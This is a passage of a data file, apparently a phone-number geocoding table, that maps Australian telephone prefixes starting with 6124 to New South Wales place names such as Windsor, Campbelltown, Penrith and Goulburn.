'61244792':{'en': 'Moruya'},
'61244793':{'en': 'Batemans Bay'},
'61244794':{'en': 'Batemans Bay'},
'61244795':{'en': 'Moruya'},
'61244796':{'en': 'Moruya'},
'61244797':{'en': 'Narooma'},
'61244798':{'en': 'Narooma'},
'61244799':{'en': 'Narooma'},
'61244800':{'en': 'Narooma'},
'61244801':{'en': 'Bawley Point'},
'61244802':{'en': 'Berry'},
'61244803':{'en': 'Huskisson'},
'61244804':{'en': 'Milton-ulladulla'},
'61244805':{'en': 'Nowra'},
'61244806':{'en': 'Nowra'},
'61244807':{'en': 'Nowra'},
'61244808':{'en': 'Bawley Point'},
'61244809':{'en': 'Bawley Point'},
'6124481':{'en': 'Nowra'},
'61244881':{'en': 'Nowra'},
'61244884':{'en': 'Nowra'},
'61244999':{'en': 'Berry'},
'61245000':{'en': 'Colo Heights'},
'61245001':{'en': 'Colo Heights'},
'61245002':{'en': 'Colo Heights'},
'61245003':{'en': 'Kurrajong Heights'},
'61245004':{'en': 'Kurrajong Heights'},
'61245005':{'en': 'Kurrajong Heights'},
'61245006':{'en': 'St Albans'},
'61245007':{'en': 'St Albans'},
'61245008':{'en': 'St Albans'},
'61245009':{'en': 'Colo Heights'},
'61245010':{'en': 'Windsor'},
'61245011':{'en': 'Windsor'},
'61245012':{'en': 'Windsor'},
'61245013':{'en': 'Wisemans Ferry'},
'61245014':{'en': 'Wisemans Ferry'},
'61245015':{'en': 'Wisemans Ferry'},
'61245016':{'en': 'Kurrajong Heights'},
'61245017':{'en': 'St Albans'},
'61245018':{'en': 'Windsor'},
'61245019':{'en': 'Wisemans Ferry'},
'61245020':{'en': 'Colo Heights'},
'61245021':{'en': 'Kurrajong Heights'},
'61245022':{'en': 'St Albans'},
'61245023':{'en': 'Windsor'},
'61245024':{'en': 'Wisemans Ferry'},
'61245025':{'en': 'Colo Heights'},
'61245026':{'en': 'Kurrajong Heights'},
'61245027':{'en': 'St Albans'},
'61245028':{'en': 'Windsor'},
'61245029':{'en': 'Wisemans Ferry'},
'61245030':{'en': 'Colo Heights'},
'61245031':{'en': 'Kurrajong Heights'},
'61245032':{'en': 'St Albans'},
'61245033':{'en': 'Wisemans Ferry'},
'61245034':{'en': 'Colo Heights'},
'61245035':{'en': 'Kurrajong Heights'},
'61245036':{'en': 'St Albans'},
'61245037':{'en': 'Windsor'},
'61245038':{'en': 'Wisemans Ferry'},
'61245039':{'en': 'Wisemans Ferry'},
'61245040':{'en': 'Colo Heights'},
'61245041':{'en': 'Kurrajong Heights'},
'61245042':{'en': 'St Albans'},
'61245043':{'en': 'Wisemans Ferry'},
'61245044':{'en': 'Colo Heights'},
'61245045':{'en': 'Kurrajong Heights'},
'61245046':{'en': 'St Albans'},
'61245047':{'en': 'Windsor'},
'61245048':{'en': 'Windsor'},
'61245049':{'en': 'Windsor'},
'6124505':{'en': 'Windsor'},
'61245056':{'en': 'Colo Heights'},
'61245057':{'en': 'St Albans'},
'61245058':{'en': 'Kurrajong Heights'},
'61245059':{'en': 'Wisemans Ferry'},
'61245060':{'en': 'Windsor'},
'61245061':{'en': 'Wisemans Ferry'},
'61245062':{'en': 'Windsor'},
'61245063':{'en': 'Colo Heights'},
'61245064':{'en': 'St Albans'},
'61245065':{'en': 'Kurrajong Heights'},
'61245066':{'en': 'Wisemans Ferry'},
'61245067':{'en': 'Colo Heights'},
'61245068':{'en': 'St Albans'},
'61245069':{'en': 'Colo Heights'},
'61245070':{'en': 'Kurrajong Heights'},
'61245071':{'en': 'Kurrajong Heights'},
'61245072':{'en': 'Wisemans Ferry'},
'61245073':{'en': 'St Albans'},
'61245074':{'en': 'Windsor'},
'61245075':{'en': 'Wisemans Ferry'},
'61245076':{'en': 'Colo Heights'},
'61245077':{'en': 'Kurrajong Heights'},
'61245078':{'en': 'St Albans'},
'61245079':{'en': 'Windsor'},
'61245080':{'en': 'Wisemans Ferry'},
'61245081':{'en': 'Colo Heights'},
'61245082':{'en': 'Kurrajong Heights'},
'61245083':{'en': 'St Albans'},
'61245084':{'en': 'Windsor'},
'61245085':{'en': 'Wisemans Ferry'},
'61245086':{'en': 'Windsor'},
'61245087':{'en': 'Windsor'},
'61245088':{'en': 'Colo Heights'},
'61245089':{'en': 'Kurrajong Heights'},
'61245090':{'en': 'St Albans'},
'61245091':{'en': 'Colo Heights'},
'61245092':{'en': 'Kurrajong Heights'},
'61245093':{'en': 'St Albans'},
'61245094':{'en': 'Windsor'},
'61245095':{'en': 'Wisemans Ferry'},
'61245096':{'en': 'Windsor'},
'61245097':{'en': 'Wisemans Ferry'},
'61245098':{'en': 'Colo Heights'},
'61245099':{'en': 'Kurrajong Heights'},
'61245100':{'en': 'St Albans'},
'61245101':{'en': 'Windsor'},
'61245102':{'en': 'Wisemans Ferry'},
'61245103':{'en': 'Colo Heights'},
'61245104':{'en': 'Kurrajong Heights'},
'61245105':{'en': 'St Albans'},
'61245106':{'en': 'Windsor'},
'61245107':{'en': 'Wisemans Ferry'},
'61245108':{'en': 'Colo Heights'},
'61245109':{'en': 'Kurrajong Heights'},
'61245110':{'en': 'St Albans'},
'61245111':{'en': 'Windsor'},
'61245112':{'en': 'Wisemans Ferry'},
'6124545':{'en': 'Windsor'},
'61245460':{'en': 'Windsor'},
'6124555':{'en': 'Windsor'},
'6124556':{'en': 'Windsor'},
'6124557':{'en': 'Windsor'},
'61245582':{'en': 'Windsor'},
'6124560':{'en': 'Windsor'},
'61245600':{'en': 'Wisemans Ferry'},
'61245607':{'en': 'Kurrajong Heights'},
'61245608':{'en': 'Colo Heights'},
'61245609':{'en': 'St Albans'},
'61245610':{'en': 'Windsor'},
'61245611':{'en': 'Windsor'},
'61245612':{'en': 'Windsor'},
'61245613':{'en': 'Windsor'},
'61245614':{'en': 'Colo Heights'},
'61245615':{'en': 'Colo Heights'},
'61245616':{'en': 'Kurrajong Heights'},
'61245617':{'en': 'Kurrajong Heights'},
'61245618':{'en': 'Wisemans Ferry'},
'61245619':{'en': 'Wisemans Ferry'},
'6124565':{'en': 'Colo Heights'},
'6124566':{'en': 'Wisemans Ferry'},
'6124567':{'en': 'Kurrajong Heights'},
'6124568':{'en': 'St Albans'},
'612457':{'en': 'Windsor'},
'6124580':{'en': 'Windsor'},
'6124581':{'en': 'Wisemans Ferry'},
'6124582':{'en': 'Windsor'},
'6124583':{'en': 'Windsor'},
'61245840':{'en': 'St Albans'},
'61245841':{'en': 'St Albans'},
'6124587':{'en': 'Windsor'},
'6124588':{'en': 'Windsor'},
'61245890':{'en': 'Colo Heights'},
'61245891':{'en': 'Kurrajong Heights'},
'61245892':{'en': 'St Albans'},
'61245893':{'en': 'Windsor'},
'61245894':{'en': 'Wisemans Ferry'},
'61245899':{'en': 'Windsor'},
'61246000':{'en': 'Camden'},
'61246001':{'en': 'Camden'},
'61246002':{'en': 'Camden'},
'61246003':{'en': 'Campbelltown'},
'61246004':{'en': 'Campbelltown'},
'61246005':{'en': 'Campbelltown'},
'61246006':{'en': 'Picton'},
'61246007':{'en': 'Picton'},
'61246008':{'en': 'Picton'},
'61246009':{'en': 'Campbelltown'},
'61246010':{'en': 'Camden'},
'61246011':{'en': 'Campbelltown'},
'61246012':{'en': 'Picton'},
'61246013':{'en': 'Camden'},
'61246014':{'en': 'Campbelltown'},
'61246015':{'en': 'Picton'},
'61246016':{'en': 'Camden'},
'61246017':{'en': 'Picton'},
'61246018':{'en': 'Camden'},
'61246019':{'en': 'Picton'},
'61246020':{'en': 'Campbelltown'},
'61246021':{'en': 'Camden'},
'61246022':{'en': 'Campbelltown'},
'61246023':{'en': 'Picton'},
'61246024':{'en': 'Camden'},
'61246025':{'en': 'Campbelltown'},
'61246026':{'en': 'Camden'},
'61246027':{'en': 'Picton'},
'61246028':{'en': 'Camden'},
'61246029':{'en': 'Campbelltown'},
'61246030':{'en': 'Picton'},
'61246031':{'en': 'Camden'},
'61246032':{'en': 'Picton'},
'61246033':{'en': 'Camden'},
'61246034':{'en': 'Camden'},
'61246035':{'en': 'Campbelltown'},
'61246036':{'en': 'Campbelltown'},
'61246037':{'en': 'Campbelltown'},
'61246038':{'en': 'Camden'},
'61246039':{'en': 'Campbelltown'},
'61246040':{'en': 'Camden'},
'61246041':{'en': 'Picton'},
'61246042':{'en': 'Campbelltown'},
'61246043':{'en': 'Campbelltown'},
'61246044':{'en': 'Picton'},
'61246045':{'en': 'Campbelltown'},
'61246046':{'en': 'Camden'},
'61246047':{'en': 'Picton'},
'61246048':{'en': 'Campbelltown'},
'61246049':{'en': 'Campbelltown'},
'6124605':{'en': 'Campbelltown'},
'6124606':{'en': 'Campbelltown'},
'61246070':{'en': 'Picton'},
'61246071':{'en': 'Picton'},
'61246072':{'en': 'Campbelltown'},
'61246073':{'en': 'Campbelltown'},
'61246074':{'en': 'Camden'},
'61246075':{'en': 'Campbelltown'},
'61246076':{'en': 'Picton'},
'61246077':{'en': 'Campbelltown'},
'61246078':{'en': 'Camden'},
'61246079':{'en': 'Campbelltown'},
'6124608':{'en': 'Campbelltown'},
'6124609':{'en': 'Campbelltown'},
'6124610':{'en': 'Campbelltown'},
'61246103':{'en': 'Picton'},
'61246104':{'en': 'Camden'},
'61246106':{'en': 'Picton'},
'61246110':{'en': 'Campbelltown'},
'61246111':{'en': 'Camden'},
'61246112':{'en': 'Campbelltown'},
'61246113':{'en': 'Camden'},
'61246114':{'en': 'Campbelltown'},
'61246115':{'en': 'Picton'},
'61246116':{'en': 'Picton'},
'61246117':{'en': 'Camden'},
'61246118':{'en': 'Campbelltown'},
'61246119':{'en': 'Picton'},
'61246120':{'en': 'Camden'},
'61246121':{'en': 'Campbelltown'},
'61246122':{'en': 'Picton'},
'61246123':{'en': 'Camden'},
'61246124':{'en': 'Campbelltown'},
'61246125':{'en': 'Picton'},
'612462':{'en': 'Campbelltown'},
'61246232':{'en': 'Camden'},
'61246234':{'en': 'Picton'},
'61246236':{'en': 'Camden'},
'61246237':{'en': 'Camden'},
'6124630':{'en': 'Campbelltown'},
'6124631':{'en': 'Campbelltown'},
'6124632':{'en': 'Campbelltown'},
'6124633':{'en': 'Campbelltown'},
'6124634':{'en': 'Campbelltown'},
'6124635':{'en': 'Camden'},
'6124636':{'en': 'Campbelltown'},
'61246370':{'en': 'Campbelltown'},
'61246371':{'en': 'Campbelltown'},
'61246372':{'en': 'Campbelltown'},
'61246373':{'en': 'Campbelltown'},
'61246374':{'en': 'Campbelltown'},
'61246375':{'en': 'Campbelltown'},
'61246376':{'en': 'Campbelltown'},
'61246377':{'en': 'Campbelltown'},
'6124638':{'en': 'Campbelltown'},
'6124640':{'en': 'Campbelltown'},
'61246400':{'en': 'Picton'},
'61246409':{'en': 'Camden'},
'61246410':{'en': 'Picton'},
'61246411':{'en': 'Campbelltown'},
'61246412':{'en': 'Picton'},
'61246413':{'en': 'Picton'},
'61246414':{'en': 'Picton'},
'6124645':{'en': 'Campbelltown'},
'6124646':{'en': 'Campbelltown'},
'6124647':{'en': 'Campbelltown'},
'6124648':{'en': 'Campbelltown'},
'6124649':{'en': 'Campbelltown'},
'6124651':{'en': 'Camden'},
'6124652':{'en': 'Camden'},
'6124653':{'en': 'Camden'},
'6124654':{'en': 'Camden'},
'6124655':{'en': 'Camden'},
'6124656':{'en': 'Campbelltown'},
'6124657':{'en': 'Camden'},
'6124658':{'en': 'Camden'},
'6124659':{'en': 'Camden'},
'61246600':{'en': 'Camden'},
'61246611':{'en': 'Camden'},
'61246660':{'en': 'Campbelltown'},
'61246661':{'en': 'Campbelltown'},
'61246662':{'en': 'Campbelltown'},
'61246663':{'en': 'Campbelltown'},
'61246664':{'en': 'Campbelltown'},
'61246665':{'en': 'Campbelltown'},
'61246666':{'en': 'Campbelltown'},
'61246667':{'en': 'Camden'},
'6124677':{'en': 'Picton'},
'6124678':{'en': 'Picton'},
'6124680':{'en': 'Picton'},
'6124681':{'en': 'Picton'},
'6124683':{'en': 'Picton'},
'6124684':{'en': 'Picton'},
'61247000':{'en': 'Katoomba'},
'61247001':{'en': 'Katoomba'},
'61247002':{'en': 'Katoomba'},
'61247003':{'en': 'Lawson'},
'61247004':{'en': 'Lawson'},
'61247005':{'en': 'Lawson'},
'61247006':{'en': 'Mount Wilson'},
'61247007':{'en': 'Mount Wilson'},
'61247008':{'en': 'Mount Wilson'},
'61247009':{'en': 'Katoomba'},
'61247010':{'en': 'Mulgoa'},
'61247011':{'en': 'Mulgoa'},
'61247012':{'en': 'Mulgoa'},
'61247013':{'en': 'Penrith'},
'61247014':{'en': 'Penrith'},
'61247015':{'en': 'Penrith'},
'61247016':{'en': 'Lawson'},
'61247017':{'en': 'Mount Wilson'},
'61247018':{'en': 'Mulgoa'},
'61247019':{'en': 'Penrith'},
'6124702':{'en': 'Penrith'},
'61247030':{'en': 'Katoomba'},
'61247031':{'en': 'Lawson'},
'61247032':{'en': 'Mount Wilson'},
'61247033':{'en': 'Mulgoa'},
'61247034':{'en': 'Penrith'},
'61247035':{'en': 'Katoomba'},
'61247036':{'en': 'Lawson'},
'61247037':{'en': 'Mount Wilson'},
'61247038':{'en': 'Mulgoa'},
'61247039':{'en': 'Penrith'},
'61247040':{'en': 'Katoomba'},
'61247041':{'en': 'Lawson'},
'61247042':{'en': 'Mount Wilson'},
'61247043':{'en': 'Mulgoa'},
'61247044':{'en': 'Katoomba'},
'61247045':{'en': 'Lawson'},
'61247046':{'en': 'Mount Wilson'},
'61247047':{'en': 'Mulgoa'},
'61247048':{'en': 'Penrith'},
'61247049':{'en': 'Penrith'},
'61247050':{'en': 'Lawson'},
'61247051':{'en': 'Mount Wilson'},
'61247052':{'en': 'Mulgoa'},
'61247053':{'en': 'Katoomba'},
'61247054':{'en': 'Lawson'},
'61247055':{'en': 'Mount Wilson'},
'61247056':{'en': 'Mulgoa'},
'61247057':{'en': 'Penrith'},
'61247058':{'en': 'Katoomba'},
'61247059':{'en': 'Lawson'},
'61247060':{'en': 'Penrith'},
'61247061':{'en': 'Mulgoa'},
'61247062':{'en': 'Penrith'},
'61247063':{'en': 'Katoomba'},
'61247064':{'en': 'Lawson'},
'61247065':{'en': 'Mulgoa'},
'61247066':{'en': 'Katoomba'},
'61247067':{'en': 'Lawson'},
'61247068':{'en': 'Penrith'},
'61247069':{'en': 'Penrith'},
'6124707':{'en': 'Penrith'},
'6124708':{'en': 'Penrith'},
'61247084':{'en': 'Mulgoa'},
'61247085':{'en': 'Lawson'},
'61247086':{'en': 'Mount Wilson'},
'61247087':{'en': 'Katoomba'},
'61247090':{'en': 'Penrith'},
'61247091':{'en': 'Mulgoa'},
'61247092':{'en': 'Lawson'},
'61247093':{'en': 'Mount Wilson'},
'61247094':{'en': 'Katoomba'},
'61247095':{'en': 'Mount Wilson'},
'61247096':{'en': 'Penrith'},
'61247097':{'en': 'Penrith'},
'61247098':{'en': 'Penrith'},
'61247099':{'en': 'Katoomba'},
'61247100':{'en': 'Lawson'},
'61247101':{'en': 'Mount Wilson'},
'61247102':{'en': 'Mulgoa'},
'61247103':{'en': 'Penrith'},
'61247104':{'en': 'Katoomba'},
'61247105':{'en': 'Lawson'},
'61247106':{'en': 'Mount Wilson'},
'61247107':{'en': 'Mulgoa'},
'61247108':{'en': 'Penrith'},
'61247109':{'en': 'Katoomba'},
'61247110':{'en': 'Lawson'},
'61247111':{'en': 'Mount Wilson'},
'61247112':{'en': 'Mulgoa'},
'61247113':{'en': 'Penrith'},
'61247114':{'en': 'Penrith'},
'61247115':{'en': 'Penrith'},
'61247116':{'en': 'Penrith'},
'61247117':{'en': 'Katoomba'},
'61247118':{'en': 'Lawson'},
'61247119':{'en': 'Katoomba'},
'61247120':{'en': 'Lawson'},
'61247121':{'en': 'Mount Wilson'},
'61247122':{'en': 'Mulgoa'},
'61247123':{'en': 'Penrith'},
'61247124':{'en': 'Mount Wilson'},
'61247125':{'en': 'Mulgoa'},
'61247126':{'en': 'Penrith'},
'61247127':{'en': 'Katoomba'},
'61247128':{'en': 'Lawson'},
'61247129':{'en': 'Mount Wilson'},
'61247130':{'en': 'Mulgoa'},
'61247131':{'en': 'Penrith'},
'61247132':{'en': 'Katoomba'},
'61247133':{'en': 'Lawson'},
'61247134':{'en': 'Mount Wilson'},
'61247135':{'en': 'Mulgoa'},
'61247136':{'en': 'Penrith'},
'61247137':{'en': 'Katoomba'},
'61247138':{'en': 'Lawson'},
'61247139':{'en': 'Mount Wilson'},
'61247140':{'en': 'Mulgoa'},
'61247141':{'en': 'Penrith'},
'612472':{'en': 'Penrith'},
'6124720':{'en': 'Mulgoa'},
'612473':{'en': 'Penrith'},
'6124740':{'en': 'Penrith'},
'6124741':{'en': 'Mulgoa'},
'61247420':{'en': 'Katoomba'},
'61247421':{'en': 'Lawson'},
'61247422':{'en': 'Mulgoa'},
'61247423':{'en': 'Penrith'},
'61247424':{'en': 'Penrith'},
'61247425':{'en': 'Penrith'},
'61247426':{'en': 'Penrith'},
'61247427':{'en': 'Katoomba'},
'61247428':{'en': 'Katoomba'},
'61247429':{'en': 'Katoomba'},
'6124743':{'en': 'Penrith'},
'6124744':{'en': 'Penrith'},
'61247444':{'en': 'Mulgoa'},
'6124747':{'en': 'Penrith'},
'61247480':{'en': 'Penrith'},
'61247489':{'en': 'Penrith'},
'6124749':{'en': 'Penrith'},
'6124750':{'en': 'Lawson'},
'6124751':{'en': 'Penrith'},
'6124752':{'en': 'Penrith'},
'61247530':{'en': 'Lawson'},
'61247531':{'en': 'Lawson'},
'61247532':{'en': 'Lawson'},
'61247533':{'en': 'Lawson'},
'61247534':{'en': 'Lawson'},
'61247535':{'en': 'Penrith'},
'61247536':{'en': 'Penrith'},
'61247537':{'en': 'Penrith'},
'61247538':{'en': 'Penrith'},
'61247539':{'en': 'Penrith'},
'6124754':{'en': 'Penrith'},
'6124755':{'en': 'Penrith'},
'6124756':{'en': 'Mount Wilson'},
'6124757':{'en': 'Lawson'},
'6124758':{'en': 'Lawson'},
'6124759':{'en': 'Lawson'},
'61247600':{'en': 'Penrith'},
'61247601':{'en': 'Penrith'},
'61247602':{'en': 'Penrith'},
'61247603':{'en': 'Penrith'},
'61247604':{'en': 'Lawson'},
'61247605':{'en': 'Lawson'},
'61247608':{'en': 'Katoomba'},
'61247609':{'en': 'Katoomba'},
'6124761':{'en': 'Penrith'},
'6124773':{'en': 'Mulgoa'},
'6124774':{'en': 'Mulgoa'},
'6124775':{'en': 'Mulgoa'},
'6124776':{'en': 'Penrith'},
'6124777':{'en': 'Penrith'},
'61247780':{'en': 'Katoomba'},
'61247781':{'en': 'Lawson'},
'61247782':{'en': 'Mount Wilson'},
'6124780':{'en': 'Katoomba'},
'61247803':{'en': 'Lawson'},
'61247804':{'en': 'Lawson'},
'61247809':{'en': 'Mount Wilson'},
'6124781':{'en': 'Katoomba'},
'6124782':{'en': 'Katoomba'},
'61247830':{'en': 'Katoomba'},
'61247831':{'en': 'Mulgoa'},
'61247832':{'en': 'Mulgoa'},
'61247833':{'en': 'Mount Wilson'},
'61247834':{'en': 'Mount Wilson'},
'61247835':{'en': 'Mulgoa'},
'61247836':{'en': 'Mulgoa'},
'61247837':{'en': 'Penrith'},
'6124784':{'en': 'Katoomba'},
'6124785':{'en': 'Katoomba'},
'6124786':{'en': 'Penrith'},
'6124787':{'en': 'Katoomba'},
'6124788':{'en': 'Katoomba'},
'6124789':{'en': 'Penrith'},
'61247999':{'en': 'Penrith'},
'61248000':{'en': 'Barrallier'},
'61248001':{'en': 'Barrallier'},
'61248002':{'en': 'Barrallier'},
'61248003':{'en': 'Bevendale'},
'61248004':{'en': 'Bevendale'},
'61248005':{'en': 'Bevendale'},
'61248006':{'en': 'Binda'},
'61248007':{'en': 'Binda'},
'61248008':{'en': 'Binda'},
'61248009':{'en': 'Bowral'},
'61248010':{'en': 'Bowral'},
'61248011':{'en': 'Bowral'},
'61248012':{'en': 'Bowral'},
'61248013':{'en': 'Braidwood'},
'61248014':{'en': 'Braidwood'},
'61248015':{'en': 'Braidwood'},
'61248016':{'en': 'Breadalbane'},
'61248017':{'en': 'Breadalbane'},
'61248018':{'en': 'Breadalbane'},
'61248019':{'en': 'Barrallier'},
'61248020':{'en': 'Bundanoon'},
'61248021':{'en': 'Bundanoon'},
'61248022':{'en': 'Bundanoon'},
'61248023':{'en': 'Bungonia'},
'61248024':{'en': 'Bungonia'},
'61248025':{'en': 'Bungonia'},
'61248026':{'en': 'Crookwell'},
'61248027':{'en': 'Crookwell'},
'61248028':{'en': 'Crookwell'},
'61248029':{'en': 'Bowral'},
'61248030':{'en': 'Golspie'},
'61248031':{'en': 'Golspie'},
'61248032':{'en': 'Golspie'},
'61248033':{'en': 'Goulburn'},
'61248034':{'en': 'Goulburn'},
'61248035':{'en': 'Goulburn'},
'61248036':{'en': 'Gundillion'},
'61248037':{'en': 'Gundillion'},
'61248038':{'en': 'Gundillion'},
'61248039':{'en': 'Goulburn'},
'61248040':{'en': 'Gunning'},
'61248041':{'en': 'Gunning'},
'61248042':{'en': 'Gunning'},
'61248043':{'en': 'Lost River'},
'61248044':{'en': 'Lost River'},
'61248045':{'en': 'Lost River'},
'61248046':{'en': 'Marulan'},
'61248047':{'en': 'Marulan'},
'61248048':{'en': 'Marulan'},
'61248049':{'en': 'Bundanoon'},
'61248050':{'en': 'Nerriga'},
'61248051':{'en': 'Nerriga'},
'61248052':{'en': 'Nerriga'},
'61248053':{'en': 'Paddys River'},
'61248054':{'en': 'Paddys River'},
'61248055':{'en': 'Paddys River'},
'61248056':{'en': 'Reidsdale'},
'61248057':{'en': 'Reidsdale'},
'61248058':{'en': 'Reidsdale'},
'61248059':{'en': 'Paddys River'},
'61248060':{'en': 'Robertson'},
'61248061':{'en': 'Robertson'},
'61248062':{'en': 'Robertson'},
'61248063':{'en': 'Rugby'},
'61248064':{'en': 'Rugby'},
'61248065':{'en': 'Rugby'},
'61248066':{'en': 'Tarago'},
'61248067':{'en': 'Tarago'},
'61248068':{'en': 'Tarago'},
'61248069':{'en': 'Robertson'},
'61248070':{'en': 'Taralga'},
'61248071':{'en': 'Taralga'},
'61248072':{'en': 'Taralga'},
'61248073':{'en': 'Tuena'},
'61248074':{'en': 'Tuena'},
'61248075':{'en': 'Tuena'},
'61248076':{'en': 'Wombeyan Caves'},
'61248077':{'en': 'Wombeyan Caves'},
'61248078':{'en': 'Wombeyan Caves'},
'61248079':{'en': 'Yerrinbool'},
'6124808':{'en': 'Goulburn'},
'61248090':{'en': 'Woodhouselee'},
'61248091':{'en': 'Woodhouselee'},
'61248092':{'en': 'Woodhouselee'},
'61248093':{'en': 'Yerrinbool'},
'61248094':{'en': 'Yerrinbool'},
'61248095':{'en': 'Yerrinbool'},
'61248096':{'en': 'Binda'},
'61248097':{'en': 'Crookwell'},
'61248098':{'en': 'Lost River'},
'61248099':{'en': 'Rugby'},
'61248100':{'en': 'Goulburn'},
'61248107':{'en': 'Gundillion'},
'61248108':{'en': 'Lost River'},
'61248109':{'en': 'Nerriga'},
'61248110':{'en': 'Barrallier'},
'61248111':{'en': 'Bowral'},
'61248112':{'en': 'Bundanoon'},
'61248113':{'en': 'Paddys River'},
'61248114':{'en': 'Robertson'},
'61248115':{'en': 'Yerrinbool'},
'61248116':{'en': 'Binda'},
'61248117':{'en': 'Crookwell'},
'61248118':{'en': 'Lost River'},
'61248119':{'en': 'Rugby'},
'61248120':{'en': 'Tuena'},
'61248121':{'en': 'Bevendale'},
'61248122':{'en': 'Braidwood'},
'61248123':{'en': 'Breadalbane'},
'61248124':{'en': 'Bungonia'},
'61248125':{'en': 'Goulburn'},
'61248126':{'en': 'Gundillion'},
'61248127':{'en': 'Gunning'},
'61248128':{'en': 'Nerriga'},
'61248129':{'en': 'Reidsdale'},
'61248130':{'en': 'Tarago'},
'61248131':{'en': 'Woodhouselee'},
'61248132':{'en': 'Golspie'},
'61248133':{'en': 'Marulan'},
'61248134':{'en': 'Taralga'},
'61248135':{'en': 'Wombeyan Caves'},
'61248136':{'en': 'Barrallier'},
'61248137':{'en': 'Bowral'},
'61248138':{'en': 'Bundanoon'},
'61248139':{'en': 'Paddys River'},
'61248140':{'en': 'Robertson'},
'61248141':{'en': 'Yerrinbool'},
'61248142':{'en': 'Binda'},
'61248143':{'en': 'Crookwell'},
'61248144':{'en': 'Lost River'},
'61248145':{'en': 'Rugby'},
'61248146':{'en': 'Tuena'},
'61248147':{'en': 'Bevendale'},
'61248148':{'en': 'Braidwood'},
'61248149':{'en': 'Breadalbane'},
'61248150':{'en': 'Tuena'},
'61248151':{'en': 'Bevendale'},
'61248152':{'en': 'Braidwood'},
'61248153':{'en': 'Breadalbane'},
'61248154':{'en': 'Bungonia'},
'61248155':{'en': 'Goulburn'},
'61248156':{'en': 'Gundillion'},
'61248157':{'en': 'Gunning'},
'61248158':{'en': 'Nerriga'},
'61248159':{'en': 'Reidsdale'},
'61248160':{'en': 'Bungonia'},
'61248161':{'en': 'Goulburn'},
'61248162':{'en': 'Gundillion'},
'61248163':{'en': 'Gunning'},
'61248164':{'en': 'Nerriga'},
'61248165':{'en': 'Reidsdale'},
'61248166':{'en': 'Tarago'},
'61248167':{'en': 'Woodhouselee'},
'61248168':{'en': 'Golspie'},
'61248169':{'en': 'Marulan'},
'61248170':{'en': 'Taralga'},
'61248171':{'en': 'Wombeyan Caves'},
'61248172':{'en': 'Barrallier'},
'61248173':{'en': 'Bowral'},
'61248174':{'en': 'Bundanoon'},
'61248175':{'en': 'Paddys River'},
'61248176':{'en': 'Robertson'},
'61248177':{'en': 'Yerrinbool'},
'61248178':{'en': 'Binda'},
'61248179':{'en': 'Crookwell'},
'61248180':{'en': 'Tarago'},
'61248181':{'en': 'Woodhouselee'},
'61248182':{'en': 'Golspie'},
'61248183':{'en': 'Marulan'},
'61248184':{'en': 'Taralga'},
'61248185':{'en': 'Wombeyan Caves'},
'61248186':{'en': 'Lost River'},
'61248187':{'en': 'Rugby'},
'61248188':{'en': 'Tuena'},
'61248189':{'en': 'Bevendale'},
'61248190':{'en': 'Braidwood'},
'61248191':{'en': 'Breadalbane'},
'61248192':{'en': 'Bungonia'},
'61248193':{'en': 'Goulburn'},
'61248194':{'en': 'Gundillion'},
'61248195':{'en': 'Gunning'},
'61248196':{'en': 'Nerriga'},
'61248197':{'en': 'Reidsdale'},
'61248198':{'en': 'Tarago'},
'61248199':{'en': 'Woodhouselee'},
'612482':{'en': 'Goulburn'},
'6124820':{'en': 'Marulan'},
'61248201':{'en': 'Golspie'},
'61248202':{'en': 'Taralga'},
'61248204':{'en': 'Wombeyan Caves'},
'61248233':{'en': 'Crookwell'},
'61248250':{'en': 'Bevendale'},
'61248251':{'en': 'Bungonia'},
'61248252':{'en': 'Bungonia'},
'61248257':{'en': 'Gunning'},
'61248258':{'en': 'Nerriga'},
'61248259':{'en': 'Woodhouselee'},
'61248263':{'en': 'Woodhouselee'},
'61248264':{'en': 'Breadalbane'},
'61248265':{'en': 'Bungonia'},
'61248266':{'en': 'Tarago'},
'61248267':{'en': 'Gunning'},
'61248268':{'en': 'Bevendale'},
'61248274':{'en': 'Bungonia'},
'61248275':{'en': 'Woodhouselee'},
'61248276':{'en': 'Gunning'},
'61248277':{'en': 'Breadalbane'},
'61248278':{'en': 'Tarago'},
'61248279':{'en': 'Braidwood'},
'61248281':{'en': 'Gundillion'},
'61248282':{'en': 'Reidsdale'},
'61248283':{'en': 'Nerriga'},
'6124830':{'en': 'Crookwell'},
'61248302':{'en': 'Binda'},
'61248303':{'en': 'Tuena'},
'61248304':{'en': 'Lost River'},
'61248305':{'en': 'Rugby'},
'61248310':{'en': 'Golspie'},
'61248311':{'en': 'Marulan'},
'61248312':{'en': 'Taralga'},
'61248313':{'en': 'Wombeyan Caves'},
'61248314':{'en': 'Barrallier'},
'61248315':{'en': 'Bundanoon'},
'61248316':{'en': 'Paddys River'},
'61248317':{'en': 'Robertson'},
'61248318':{'en': 'Yerrinbool'},
'61248319':{'en': 'Binda'},
'6124832':{'en': 'Crookwell'},
'61248330':{'en': 'Crookwell'},
'61248331':{'en': 'Lost River'},
'61248332':{'en': 'Rugby'},
'61248333':{'en': 'Tuena'},
'61248334':{'en': 'Bevendale'},
'61248335':{'en': 'Braidwood'},
'61248336':{'en': 'Breadalbane'},
'61248337':{'en': 'Bungonia'},
'61248338':{'en': 'Gundillion'},
'61248339':{'en': 'Gunning'},
'6124834':{'en': 'Tuena'},
'6124835':{'en': 'Binda'},
'61248357':{'en': 'Rugby'},
'61248358':{'en': 'Rugby'},
'61248359':{'en': 'Rugby'},
'6124836':{'en': 'Lost River'},
'6124837':{'en': 'Crookwell'},
'61248380':{'en': 'Nerriga'},
'61248381':{'en': 'Reidsdale'},
'61248382':{'en': 'Tarago'},
'61248383':{'en': 'Woodhouselee'},
'61248384':{'en': 'Golspie'},
'61248385':{'en': 'Marulan'},
'61248386':{'en': 'Taralga'},
'61248387':{'en': 'Wombeyan Caves'},
'61248388':{'en': 'Barrallier'},
'61248389':{'en': 'Bowral'},
'61248390':{'en': 'Bundanoon'},
'61248391':{'en': 'Paddys River'},
'61248392':{'en': 'Robertson'},
'61248393':{'en': 'Yerrinbool'},
'61248394':{'en': 'Binda'},
'61248395':{'en': 'Crookwell'},
'61248396':{'en': 'Lost River'},
'61248397':{'en': 'Rugby'},
'61248398':{'en': 'Tuena'},
'61248399':{'en': 'Bevendale'},
'6124840':{'en': 'Taralga'},
'6124841':{'en': 'Marulan'},
'6124842':{'en': 'Braidwood'},
'6124843':{'en': 'Golspie'},
'61248432':{'en': 'Woodhouselee'},
'61248435':{'en': 'Wombeyan Caves'},
'61248440':{'en': 'Breadalbane'},
'61248441':{'en': 'Woodhouselee'},
'61248442':{'en': 'Breadalbane'},
'61248443':{'en': 'Woodhouselee'},
'61248444':{'en': 'Bungonia'},
